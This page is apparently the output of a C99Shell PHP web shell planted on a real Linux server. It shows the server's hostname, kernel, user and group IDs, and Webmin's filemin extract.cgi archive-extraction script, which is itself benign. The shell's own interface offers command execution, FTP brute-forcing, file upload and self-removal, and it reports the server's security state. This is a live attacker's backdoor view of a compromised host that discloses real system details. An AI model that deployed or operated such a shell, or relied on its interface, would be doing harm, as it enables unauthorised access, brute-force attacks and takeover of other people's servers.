!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/filemin/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     extract.cgi (1.49 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

require './filemin-lib.pl';

&ReadParse();

get_paths();

$archive_type = clean_mimetype($cwd.'/'.$in{'file'});

if ($archive_type =~ /x-bzip/) {
    $cmd = "tar xvjfp ".quotemeta("$cwd/$in{'file'}").
           " -C ".quotemeta($cwd);
    }
elsif ($archive_type =~ /x-tar|\/gzip|x-xz|zstd|x-compressed-tar/) {
    $cmd = "tar xfp ".quotemeta("$cwd/$in{'file'}").
           " -C ".quotemeta($cwd);
    }
elsif ($archive_type =~ /x-7z/ ||
       $archive_type =~ /x-raw-disk-image/ ||
       $archive_type =~ /x-cd-image/) {
    $cmd = "7z x ".quotemeta("$cwd/$in{'file'}")." -o" .quotemeta($cwd);
    }
elsif ($archive_type =~ /\/zip/) {
    my $unzip_out = `unzip --help`;
    my $uu = ($unzip_out =~ /-UU/ ? '-UU' : undef);
    $cmd = "unzip $uu -q -o ".quotemeta("$cwd/$in{'file'}")." -d ".quotemeta($cwd);
    }
elsif ($archive_type =~ /\/x-rar|\/vnd\.rar/) {
    $cmd = "unrar x -r -y ".quotemeta("$cwd/$in{'file'}").
           " ".quotemeta($cwd);
    }
elsif ($archive_type =~ /(\/x-rpm|\/x-deb)/) {
    my $dir = fileparse( "$cwd/$name", qr/\.[^.]*/ );
    my $path = quotemeta("$cwd/$dir");
    &make_dir($path, 0755);
    if ($archive_type =~ /\/x-rpm/) {
        $cmd = "(rpm2cpio ".quotemeta("$cwd/$name").
               " | (cd ".quotemeta($path)."; cpio -idmv))";
        }
    else {
        $cmd = "dpkg -x ".quotemeta("$cwd/$name")." ".quotemeta($path);
        }
    }
else {
    &error($text{'extract_etype'});
    }

# Run the extraction command
$out = &backquote_logged("$cmd 2>&1 >/dev/null </dev/null");
if ($?) {
    &error(&html_escape($out));
    }

&redirect("index.cgi?path=".&urlize($path));

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--